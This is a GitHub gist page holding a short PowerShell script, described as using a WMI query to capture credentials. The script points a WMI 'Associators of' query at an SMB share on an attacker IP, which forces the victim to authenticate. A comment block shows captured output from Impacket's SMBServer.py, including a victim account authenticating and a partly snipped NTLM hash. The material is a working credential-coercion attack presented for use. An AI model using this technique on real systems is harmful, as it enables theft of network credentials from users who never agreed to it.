Skip to content

Instantly share code, notes, and snippets.

@mubix

mubix/WMIQuery_SMBAuth.ps1

Created December 18, 2015 03:20
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mubix/6c8cabc4c0f50c51fbbe to your computer and use it in GitHub Desktop.
Save mubix/6c8cabc4c0f50c51fbbe to your computer and use it in GitHub Desktop.
Download ZIP
Using a WMI Query to be able to capture credentials
Raw
WMIQuery_SMBAuth.ps1
$share = "\\192.168.1.245\share"
$query = "Associators of {win32_LogicalShareSecuritySetting='$share'}"
Get-WmiObject -query $query
<#
Obtained using Impacket's SMBServer.py example
Attacker: 192.168.1.245
Victim: 192.168.1.100
Result:
[*] Incoming connection (192.168.1.100,55482)
[*] AUTHENTICATE_MESSAGE (SITTINGDUCK\UBERUSER)
[*] User SITTINGDUCK\UBERUSER authenticated successfully
[*] mubix::pirateking:4141414141414141:(snipped out auth)
[*] NetrGetShareInfo Level: 503
[*] Disconnecting Share(1:IPC$)
[*] Handle: [Errno 54] Connection reset by peer
[*] Closing down connection (192.168.1.100,55482)
[*] Remaining connections []
#>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment